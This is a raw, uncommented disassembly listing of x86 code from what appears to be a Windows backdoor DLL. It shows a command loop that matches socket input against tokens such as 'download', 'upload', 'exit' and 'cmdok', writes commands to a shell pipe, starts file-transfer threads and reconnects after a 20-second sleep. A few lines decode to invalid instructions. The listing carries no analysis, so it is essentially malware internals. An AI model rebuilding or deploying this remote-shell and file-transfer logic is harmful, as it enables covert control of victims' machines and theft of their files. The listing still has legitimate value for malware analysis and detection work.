sub dword [ebp - 0x5440], 1
add dword [ebp - 0x5444], 1
add dword [ebp - 0x5448], 1
cmp dword [ebp - 0x5440], 0
je 0x10004f82
mov eax, dword [ebp - 0x5444]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5448]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x544c], eax
jne 0x10004f8e
mov dword [ebp - 0x5450], 0
jmp 0x10004fab
mov dword [ebp - 0x5450], 1
cmp dword [ebp - 0x544c], 0
jg 0x10004fab
mov dword [ebp - 0x5450], 0xffffffff
mov ecx, dword [ebp - 0x5450]
mov dword [ebp - 0x5454], ecx
cmp dword [ebp - 0x5454], 0
jne 0x100055f2
cmp dword [ebp - 0x1b0], 0
jne 0x100050cc
mov edx, dword [str.bind_cmd_frist__n]
mov dword [0x10092828], edx
mov eax, dword [0x1007d1a8]
mov dword [0x1009282c], eax
mov ecx, dword [0x1007d1ac]
mov dword [0x10092830], ecx
mov edx, dword [0x1007d1b0]
mov dword [0x10092834], edx
mov al, byte [0x1007d1b4]
mov byte [0x10092838], al
mov dword [ebp - 0x5458], 0x10092828
mov ecx, dword [ebp - 0x5458]
add ecx, 1
mov dword [ebp - 0x545c], ecx
mov edx, dword [ebp - 0x5458]
mov al, byte [edx]
mov byte [ebp - 0x545d], al
add dword [ebp - 0x5458], 1
cmp byte [ebp - 0x545d], 0
jne 0x10005022
mov ecx, dword [ebp - 0x5458]
sub ecx, dword [ebp - 0x545c]
mov dword [ebp - 0x5464], ecx
mov edx, dword [ebp - 0x5464]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x100050c7
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100055ed
mov dword [ebp - 0x31cc], 0
mov dword [ebp - 0x5468], 0x1008c710
mov eax, dword [ebp - 0x5468]
add eax, 1
mov dword [ebp - 0x546c], eax
mov ecx, dword [ebp - 0x5468]
mov dl, byte [ecx]
mov byte [ebp - 0x546d], dl
add dword [ebp - 0x5468], 1
cmp byte [ebp - 0x546d], 0
jne 0x100050ef
mov eax, dword [ebp - 0x5468]
sub eax, dword [ebp - 0x546c]
mov dword [ebp - 0x5474], eax
mov ecx, dword [ebp - 0x5474]
add ecx, 2
push ecx
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov dword [ebp - 0x31cc], eax
cmp dword [ebp - 0x31cc], 0
je 0x100055ed
mov dword [ebp - 0x5478], 0x1008c710
mov edx, dword [ebp - 0x5478]
add edx, 1
mov dword [ebp - 0x547c], edx
mov eax, dword [ebp - 0x5478]
mov cl, byte [eax]
mov byte [ebp - 0x547d], cl
add dword [ebp - 0x5478], 1
cmp byte [ebp - 0x547d], 0
jne 0x1000515e
mov edx, dword [ebp - 0x5478]
sub edx, dword [ebp - 0x547c]
mov dword [ebp - 0x5484], edx
mov eax, dword [ebp - 0x5484]
add eax, 2
push eax
push 0
mov ecx, dword [ebp - 0x31cc]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0x5488], 0x1008c710
mov edx, dword [ebp - 0x5488]
add edx, 1
mov dword [ebp - 0x548c], edx
mov eax, dword [ebp - 0x5488]
mov cl, byte [eax]
mov byte [ebp - 0x548d], cl
add dword [ebp - 0x5488], 1
cmp byte [ebp - 0x548d], 0
jne 0x100051c2
mov edx, dword [ebp - 0x5488]
sub edx, dword [ebp - 0x548c]
mov dword [ebp - 0x5494], edx
mov eax, dword [ebp - 0x5494]
sub eax, 8
push eax
push 0x1008c718
mov ecx, dword [ebp - 0x31cc]
push ecx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
cmp dword [ebp - 0x2514], 1
jne 0x10005258
mov edx, dword [ebp - 0x31cc]
add edx, 0xffffffff
mov dword [ebp - 0x5498], edx
mov eax, dword [ebp - 0x5498]
mov cl, byte [eax + 1]
mov byte [ebp - 0x5499], cl
add dword [ebp - 0x5498], 1
cmp byte [ebp - 0x5499], 0
jne 0x10005229
mov edi, dword [ebp - 0x5498]
mov dx, word [0x1007cd7c]
mov word [edi], dx
mov edx, dword [ebp - 0x31cc]
call fcn.10007940
movzx eax, al
test eax, eax
jne 0x10005366
mov ecx, dword [str.WritePip_Error__n]
mov dword [0x10092828], ecx
mov edx, dword [0x1007d1bc]
mov dword [0x1009282c], edx
mov eax, dword [0x1007d1c0]
mov dword [0x10092830], eax
mov ecx, dword [0x1007d1c4]
mov dword [0x10092834], ecx
mov dl, byte [0x1007d1c8]
mov byte [0x10092838], dl
mov dword [ebp - 0x54a0], 0x10092828
mov eax, dword [ebp - 0x54a0]
add eax, 1
mov dword [ebp - 0x54a4], eax
mov ecx, dword [ebp - 0x54a0]
mov dl, byte [ecx]
mov byte [ebp - 0x54a5], dl
add dword [ebp - 0x54a0], 1
cmp byte [ebp - 0x54a5], 0
jne 0x100052c1
mov eax, dword [ebp - 0x54a0]
sub eax, dword [ebp - 0x54a4]
mov dword [ebp - 0x54ac], eax
mov ecx, dword [ebp - 0x54ac]
push ecx
push 0x10092828
mov edx, dword [0x1008e814]
push edx
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10005366
mov eax, dword [0x1008e814]
push eax
call fcn.10028a40
add esp, 4
push 0
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_shutdown
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x1008e814]
push eax
call fcn.10028640
add esp, 4
mov ecx, dword [0x1008c70c]
push ecx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
mov dword [ebp - 0x54b0], 4
mov dword [ebp - 0x54b4], str.exit
mov edx, dword [ebp - 0x31cc]
mov dword [ebp - 0x54b8], edx
jmp 0x100053af
mov eax, dword [ebp - 0x54b4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x54b8]
cmp dword [edx], ecx
jne 0x100053c5
sub dword [ebp - 0x54b0], 4
add dword [ebp - 0x54b4], 4
add dword [ebp - 0x54b8], 4
cmp dword [ebp - 0x54b0], 4
jae 0x10005388
cmp dword [ebp - 0x54b0], 0
je 0x1000549b
mov eax, dword [ebp - 0x54b4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x54b8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x54bc], eax
jne 0x100054a7
sub dword [ebp - 0x54b0], 1
add dword [ebp - 0x54b4], 1
add dword [ebp - 0x54b8], 1
cmp dword [ebp - 0x54b0], 0
je 0x1000549b
mov ecx, dword [ebp - 0x54b4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x54b8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x54bc], ecx
jne 0x100054a7
sub dword [ebp - 0x54b0], 1
add dword [ebp - 0x54b4], 1
add dword [ebp - 0x54b8], 1
cmp dword [ebp - 0x54b0], 0
je 0x1000549b
mov edx, dword [ebp - 0x54b4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x54b8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x54bc], edx
jne 0x100054a7
sub dword [ebp - 0x54b0], 1
add dword [ebp - 0x54b4], 1
add dword [ebp - 0x54b8], 1
cmp dword [ebp - 0x54b0], 0
je 0x1000549b
mov eax, dword [ebp - 0x54b4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x54b8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x54bc], eax
jne 0x100054a7
mov dword [ebp - 0x54c0], 0
jmp 0x100054c4
mov dword [ebp - 0x54c0], 1
cmp dword [ebp - 0x54bc], 0
jg 0x100054c4
mov dword [ebp - 0x54c0], 0xffffffff
mov ecx, dword [ebp - 0x54c0]
mov dword [ebp - 0x54c4], ecx
cmp dword [ebp - 0x54c4], 0
jne 0x100055d3
mov byte [0x1009682e], 0
push 0
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 0x1b0], 0
mov eax, dword [str.exit_n]
mov dword [0x10092828], eax
mov cx, word [0x1007d124]
mov word [0x1009282c], cx
mov dword [ebp - 0x54c8], 0x10092828
mov edx, dword [ebp - 0x54c8]
add edx, 1
mov dword [ebp - 0x54cc], edx
mov eax, dword [ebp - 0x54c8]
mov cl, byte [eax]
mov byte [ebp - 0x54cd], cl
add dword [ebp - 0x54c8], 1
cmp byte [ebp - 0x54cd], 0
jne 0x1000552e
mov edx, dword [ebp - 0x54c8]
sub edx, dword [ebp - 0x54cc]
mov dword [ebp - 0x54d4], edx
mov eax, dword [ebp - 0x54d4]
push eax
push 0x10092828
mov ecx, dword [0x1008e814]
push ecx
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x100055d3
mov edx, dword [0x1008e814]
push edx
call fcn.10028a40
add esp, 4
push 0
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_shutdown
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_closesocket
mov edx, dword [0x1008e814]
push edx
call fcn.10028640
add esp, 4
mov eax, dword [0x1008c70c]
push eax
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
mov ecx, dword [ebp - 0x31cc]
push ecx
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
mov dword [ebp - 0x31cc], 0
jmp 0x100037a1
je 0x10005600
jne 0x10005600
lcall 0xffab, 0x2885c7e8
dec dword [eax]
add byte [eax], al
add bh, al
test dword [ebx + ebp*4], esp
invalid
mov dword [ebp - 0x54d8], 8
mov dword [ebp - 0x54dc], str.download
mov dword [ebp - 0x54e0], 0x1008c710
jmp 0x10005647
mov edx, dword [ebp - 0x54dc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x54e0]
cmp dword [ecx], eax
jne 0x1000565d
sub dword [ebp - 0x54d8], 4
add dword [ebp - 0x54dc], 4
add dword [ebp - 0x54e0], 4
cmp dword [ebp - 0x54d8], 4
jae 0x10005620
cmp dword [ebp - 0x54d8], 0
je 0x10005733
mov edx, dword [ebp - 0x54dc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x54e0]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x54e4], edx
jne 0x1000573f
sub dword [ebp - 0x54d8], 1
add dword [ebp - 0x54dc], 1
add dword [ebp - 0x54e0], 1
cmp dword [ebp - 0x54d8], 0
je 0x10005733
mov eax, dword [ebp - 0x54dc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x54e0]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x54e4], eax
jne 0x1000573f
sub dword [ebp - 0x54d8], 1
add dword [ebp - 0x54dc], 1
add dword [ebp - 0x54e0], 1
cmp dword [ebp - 0x54d8], 0
je 0x10005733
mov ecx, dword [ebp - 0x54dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x54e0]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x54e4], ecx
jne 0x1000573f
sub dword [ebp - 0x54d8], 1
add dword [ebp - 0x54dc], 1
add dword [ebp - 0x54e0], 1
cmp dword [ebp - 0x54d8], 0
je 0x10005733
mov edx, dword [ebp - 0x54dc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x54e0]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x54e4], edx
jne 0x1000573f
mov dword [ebp - 0x54e8], 0
jmp 0x1000575c
mov dword [ebp - 0x54e8], 1
cmp dword [ebp - 0x54e4], 0
jg 0x1000575c
mov dword [ebp - 0x54e8], 0xffffffff
mov eax, dword [ebp - 0x54e8]
mov dword [ebp - 0x54ec], eax
cmp dword [ebp - 0x54ec], 0
je 0x100058e6
mov dword [ebp - 0x54f0], 6
mov dword [ebp - 0x54f4], str.upload
mov dword [ebp - 0x54f8], 0x1008c710
jmp 0x100057bc
mov ecx, dword [ebp - 0x54f4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x54f8]
cmp dword [eax], edx
jne 0x100057d2
sub dword [ebp - 0x54f0], 4
add dword [ebp - 0x54f4], 4
add dword [ebp - 0x54f8], 4
cmp dword [ebp - 0x54f0], 4
jae 0x10005795
cmp dword [ebp - 0x54f0], 0
je 0x100058a8
mov ecx, dword [ebp - 0x54f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x54f8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x54fc], ecx
jne 0x100058b4
sub dword [ebp - 0x54f0], 1
add dword [ebp - 0x54f4], 1
add dword [ebp - 0x54f8], 1
cmp dword [ebp - 0x54f0], 0
je 0x100058a8
mov edx, dword [ebp - 0x54f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x54f8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x54fc], edx
jne 0x100058b4
sub dword [ebp - 0x54f0], 1
add dword [ebp - 0x54f4], 1
add dword [ebp - 0x54f8], 1
cmp dword [ebp - 0x54f0], 0
je 0x100058a8
mov eax, dword [ebp - 0x54f4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x54f8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x54fc], eax
jne 0x100058b4
sub dword [ebp - 0x54f0], 1
add dword [ebp - 0x54f4], 1
add dword [ebp - 0x54f8], 1
cmp dword [ebp - 0x54f0], 0
je 0x100058a8
mov ecx, dword [ebp - 0x54f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x54f8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x54fc], ecx
jne 0x100058b4
mov dword [ebp - 0x5500], 0
jmp 0x100058d1
mov dword [ebp - 0x5500], 1
cmp dword [ebp - 0x54fc], 0
jg 0x100058d1
mov dword [ebp - 0x5500], 0xffffffff
mov edx, dword [ebp - 0x5500]
mov dword [ebp - 0x5504], edx
cmp dword [ebp - 0x5504], 0
jne 0x10005910
lea eax, [ebp - 0x2d4]
push eax
push 0
push 0x1008c710
push 0x10007970
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100037a1
mov dword [ebp - 0x5508], 0xb
mov dword [ebp - 0x550c], str.DownloadEnd
mov dword [ebp - 0x5510], 0x1008c710
jmp 0x10005957
mov ecx, dword [ebp - 0x550c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5510]
cmp dword [eax], edx
jne 0x1000596d
sub dword [ebp - 0x5508], 4
add dword [ebp - 0x550c], 4
add dword [ebp - 0x5510], 4
cmp dword [ebp - 0x5508], 4
jae 0x10005930
cmp dword [ebp - 0x5508], 0
je 0x10005a43
mov ecx, dword [ebp - 0x550c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5510]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5514], ecx
jne 0x10005a4f
sub dword [ebp - 0x5508], 1
add dword [ebp - 0x550c], 1
add dword [ebp - 0x5510], 1
cmp dword [ebp - 0x5508], 0
je 0x10005a43
mov edx, dword [ebp - 0x550c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5510]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5514], edx
jne 0x10005a4f
sub dword [ebp - 0x5508], 1
add dword [ebp - 0x550c], 1
add dword [ebp - 0x5510], 1
cmp dword [ebp - 0x5508], 0
je 0x10005a43
mov eax, dword [ebp - 0x550c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5510]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5514], eax
jne 0x10005a4f
sub dword [ebp - 0x5508], 1
add dword [ebp - 0x550c], 1
add dword [ebp - 0x5510], 1
cmp dword [ebp - 0x5508], 0
je 0x10005a43
mov ecx, dword [ebp - 0x550c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5510]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5514], ecx
jne 0x10005a4f
mov dword [ebp - 0x5518], 0
jmp 0x10005a6c
mov dword [ebp - 0x5518], 1
cmp dword [ebp - 0x5514], 0
jg 0x10005a6c
mov dword [ebp - 0x5518], 0xffffffff
mov edx, dword [ebp - 0x5518]
mov dword [ebp - 0x551c], edx
cmp dword [ebp - 0x551c], 0
jne 0x10005b95
mov byte [0x1009682c], 1
mov eax, dword [str.Download_file_ok__n]
mov dword [0x10092828], eax
mov ecx, dword [0x1007d1f0]
mov dword [0x1009282c], ecx
mov edx, dword [0x1007d1f4]
mov dword [0x10092830], edx
mov eax, dword [0x1007d1f8]
mov dword [0x10092834], eax
mov cx, word [0x1007d1fc]
mov word [0x10092838], cx
mov dl, byte [0x1007d1fe]
mov byte [0x1009283a], dl
mov dword [ebp - 0x5520], 0x10092828
mov eax, dword [ebp - 0x5520]
add eax, 1
mov dword [ebp - 0x5524], eax
mov ecx, dword [ebp - 0x5520]
mov dl, byte [ecx]
mov byte [ebp - 0x5525], dl
add dword [ebp - 0x5520], 1
cmp byte [ebp - 0x5525], 0
jne 0x10005aeb
mov eax, dword [ebp - 0x5520]
sub eax, dword [ebp - 0x5524]
mov dword [ebp - 0x552c], eax
mov ecx, dword [ebp - 0x552c]
push ecx
push 0x10092828
mov edx, dword [0x1008e814]
push edx
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10005b90
mov eax, dword [0x1008e814]
push eax
call fcn.10028a40
add esp, 4
push 0
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_shutdown
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x1008e814]
push eax
call fcn.10028640
add esp, 4
mov ecx, dword [0x1008c70c]
push ecx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
mov dword [ebp - 0x5530], 5
mov dword [ebp - 0x5534], str.cmdok
mov dword [ebp - 0x5538], 0x1008c710
jmp 0x10005bdc
mov edx, dword [ebp - 0x5534]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5538]
cmp dword [ecx], eax
jne 0x10005bf2
sub dword [ebp - 0x5530], 4
add dword [ebp - 0x5534], 4
add dword [ebp - 0x5538], 4
cmp dword [ebp - 0x5530], 4
jae 0x10005bb5
cmp dword [ebp - 0x5530], 0
je 0x10005cc8
mov edx, dword [ebp - 0x5534]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5538]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x553c], edx
jne 0x10005cd4
sub dword [ebp - 0x5530], 1
add dword [ebp - 0x5534], 1
add dword [ebp - 0x5538], 1
cmp dword [ebp - 0x5530], 0
je 0x10005cc8
mov eax, dword [ebp - 0x5534]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5538]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x553c], eax
jne 0x10005cd4
sub dword [ebp - 0x5530], 1
add dword [ebp - 0x5534], 1
add dword [ebp - 0x5538], 1
cmp dword [ebp - 0x5530], 0
je 0x10005cc8
mov ecx, dword [ebp - 0x5534]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5538]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x553c], ecx
jne 0x10005cd4
sub dword [ebp - 0x5530], 1
add dword [ebp - 0x5534], 1
add dword [ebp - 0x5538], 1
cmp dword [ebp - 0x5530], 0
je 0x10005cc8
mov edx, dword [ebp - 0x5534]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5538]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x553c], edx
jne 0x10005cd4
mov dword [ebp - 0x5540], 0
jmp 0x10005cf1
mov dword [ebp - 0x5540], 1
cmp dword [ebp - 0x553c], 0
jg 0x10005cf1
mov dword [ebp - 0x5540], 0xffffffff
mov eax, dword [ebp - 0x5540]
mov dword [ebp - 0x5544], eax
cmp dword [ebp - 0x5544], 0
jne 0x10005d12
mov byte [0x1009682d], 1
jmp 0x100037a1
mov dword [ebp - 0x5548], 0x10
mov dword [ebp - 0x554c], str.Upload_datasize
mov dword [ebp - 0x5550], 0x1008c710
jmp 0x10005d59
mov ecx, dword [ebp - 0x554c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5550]
cmp dword [eax], edx
jne 0x10005d6f
sub dword [ebp - 0x5548], 4
add dword [ebp - 0x554c], 4
add dword [ebp - 0x5550], 4
cmp dword [ebp - 0x5548], 4
jae 0x10005d32
cmp dword [ebp - 0x5548], 0
je 0x10005e45
mov ecx, dword [ebp - 0x554c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5550]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5554], ecx
jne 0x10005e51
sub dword [ebp - 0x5548], 1
add dword [ebp - 0x554c], 1
add dword [ebp - 0x5550], 1
cmp dword [ebp - 0x5548], 0
je 0x10005e45
mov edx, dword [ebp - 0x554c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5550]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5554], edx
jne 0x10005e51
sub dword [ebp - 0x5548], 1
add dword [ebp - 0x554c], 1
add dword [ebp - 0x5550], 1
cmp dword [ebp - 0x5548], 0
je 0x10005e45
mov eax, dword [ebp - 0x554c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5550]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5554], eax
jne 0x10005e51
sub dword [ebp - 0x5548], 1
add dword [ebp - 0x554c], 1
add dword [ebp - 0x5550], 1
cmp dword [ebp - 0x5548], 0
je 0x10005e45
mov ecx, dword [ebp - 0x554c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5550]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5554], ecx
jne 0x10005e51
mov dword [ebp - 0x5558], 0
jmp 0x10005e6e
mov dword [ebp - 0x5558], 1
cmp dword [ebp - 0x5554], 0
jg 0x10005e6e
mov dword [ebp - 0x5558], 0xffffffff
mov edx, dword [ebp - 0x5558]
mov dword [ebp - 0x555c], edx
cmp dword [ebp - 0x555c], 0
jne 0x10005f35
mov byte [ebp - 0x31e1], 0
xor eax, eax
mov dword [ebp - 0x31e0], eax
mov dword [ebp - 0x31dc], eax
mov dword [ebp - 0x31d8], eax
mov dword [ebp - 0x31d4], eax
mov dword [ebp - 0x31d0], eax
mov dword [ebp - 0x5560], 0x1008c710
mov ecx, dword [ebp - 0x5560]
add ecx, 1
mov dword [ebp - 0x5564], ecx
mov edx, dword [ebp - 0x5560]
mov al, byte [edx]
mov byte [ebp - 0x5565], al
add dword [ebp - 0x5560], 1
cmp byte [ebp - 0x5565], 0
jne 0x10005ec7
mov ecx, dword [ebp - 0x5560]
sub ecx, dword [ebp - 0x5564]
mov dword [ebp - 0x556c], ecx
mov edx, dword [ebp - 0x556c]
sub edx, 0x16
push edx
push 0x1008c720
lea eax, [ebp - 0x31e0]
push eax
call sub.MSVCR80.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x31e0]
push ecx
call dword [sym.imp.MSVCR80.dll__atoi64]
add esp, 4
mov dword [0x10096830], eax
mov dword [0x10096834], edx
jmp 0x100037a1
mov dword [ebp - 0x5570], 0x17
mov dword [ebp - 0x5574], str.Create_localfile_error_
mov dword [ebp - 0x5578], 0x1008c710
jmp 0x10005f7c
mov edx, dword [ebp - 0x5574]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5578]
cmp dword [ecx], eax
jne 0x10005f92
sub dword [ebp - 0x5570], 4
add dword [ebp - 0x5574], 4
add dword [ebp - 0x5578], 4
cmp dword [ebp - 0x5570], 4
jae 0x10005f55
cmp dword [ebp - 0x5570], 0
je 0x10006068
mov edx, dword [ebp - 0x5574]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5578]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x557c], edx
jne 0x10006074
sub dword [ebp - 0x5570], 1
add dword [ebp - 0x5574], 1
add dword [ebp - 0x5578], 1
cmp dword [ebp - 0x5570], 0
je 0x10006068
mov eax, dword [ebp - 0x5574]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5578]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x557c], eax
jne 0x10006074
sub dword [ebp - 0x5570], 1
add dword [ebp - 0x5574], 1
add dword [ebp - 0x5578], 1
cmp dword [ebp - 0x5570], 0
je 0x10006068
mov ecx, dword [ebp - 0x5574]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5578]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x557c], ecx
jne 0x10006074
sub dword [ebp - 0x5570], 1
add dword [ebp - 0x5574], 1
add dword [ebp - 0x5578], 1
cmp dword [ebp - 0x5570], 0
je 0x10006068
mov edx, dword [ebp - 0x5574]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5578]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x557c], edx
jne 0x10006074
mov dword [ebp - 0x5580], 0
jmp 0x10006091
mov dword [ebp - 0x5580], 1
cmp dword [ebp - 0x557c], 0
jg 0x10006091
mov dword [ebp - 0x5580], 0xffffffff
mov eax, dword [ebp - 0x5580]
mov dword [ebp - 0x5584], eax
cmp dword [ebp - 0x5584], 0
jne 0x100060d3
mov dword [0x10096830], 0xffffffff
mov dword [0x10096834], 0xffffffff
mov dword [0x1008a560], 0xffffffff
mov dword [0x1008a564], 0xffffffff
jmp 0x100037a1
jb 0x100060e0
jae 0x100060e0
call 0xba78e6ab
invalid
mov dword [ebp - 0x5588], 0x14
mov dword [ebp - 0x558c], str.Recentfile_datasize
mov dword [ebp - 0x5590], 0x1008c710
jmp 0x10006127
mov ecx, dword [ebp - 0x558c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5590]
cmp dword [eax], edx
jne 0x1000613d
sub dword [ebp - 0x5588], 4
add dword [ebp - 0x558c], 4
add dword [ebp - 0x5590], 4
cmp dword [ebp - 0x5588], 4
jae 0x10006100
cmp dword [ebp - 0x5588], 0
je 0x10006213
mov ecx, dword [ebp - 0x558c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5590]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5594], ecx
jne 0x1000621f
sub dword [ebp - 0x5588], 1
add dword [ebp - 0x558c], 1
add dword [ebp - 0x5590], 1
cmp dword [ebp - 0x5588], 0
je 0x10006213
mov edx, dword [ebp - 0x558c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5590]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5594], edx
jne 0x1000621f
sub dword [ebp - 0x5588], 1
add dword [ebp - 0x558c], 1
add dword [ebp - 0x5590], 1
cmp dword [ebp - 0x5588], 0
je 0x10006213
mov eax, dword [ebp - 0x558c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5590]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5594], eax
jne 0x1000621f
sub dword [ebp - 0x5588], 1
add dword [ebp - 0x558c], 1
add dword [ebp - 0x5590], 1
cmp dword [ebp - 0x5588], 0
je 0x10006213
mov ecx, dword [ebp - 0x558c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5590]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5594], ecx
jne 0x1000621f
mov dword [ebp - 0x5598], 0
jmp 0x1000623c
mov dword [ebp - 0x5598], 1
cmp dword [ebp - 0x5594], 0
jg 0x1000623c
mov dword [ebp - 0x5598], 0xffffffff
mov edx, dword [ebp - 0x5598]
mov dword [ebp - 0x559c], edx
cmp dword [ebp - 0x559c], 0
jne 0x10006303
mov byte [ebp - 0x31f9], 0
xor eax, eax
mov dword [ebp - 0x31f8], eax
mov dword [ebp - 0x31f4], eax
mov dword [ebp - 0x31f0], eax
mov dword [ebp - 0x31ec], eax
mov dword [ebp - 0x31e8], eax
mov dword [ebp - 0x55a0], 0x1008c710
mov ecx, dword [ebp - 0x55a0]
add ecx, 1
mov dword [ebp - 0x55a4], ecx
mov edx, dword [ebp - 0x55a0]
mov al, byte [edx]
mov byte [ebp - 0x55a5], al
add dword [ebp - 0x55a0], 1
cmp byte [ebp - 0x55a5], 0
jne 0x10006295
mov ecx, dword [ebp - 0x55a0]
sub ecx, dword [ebp - 0x55a4]
mov dword [ebp - 0x55ac], ecx
mov edx, dword [ebp - 0x55ac]
sub edx, 0x1a
push edx
push 0x1008c724
lea eax, [ebp - 0x31f8]
push eax
call sub.MSVCR80.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x31f8]
push ecx
call dword [sym.imp.MSVCR80.dll__atoi64]
add esp, 4
mov dword [0x1008a560], eax
mov dword [0x1008a564], edx
jmp 0x100037a1
mov dword [ebp - 0x55b0], 6
mov dword [ebp - 0x55b4], str.stfile
mov dword [ebp - 0x55b8], 0x1008c710
jmp 0x1000634a
mov edx, dword [ebp - 0x55b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x55b8]
cmp dword [ecx], eax
jne 0x10006360
sub dword [ebp - 0x55b0], 4
add dword [ebp - 0x55b4], 4
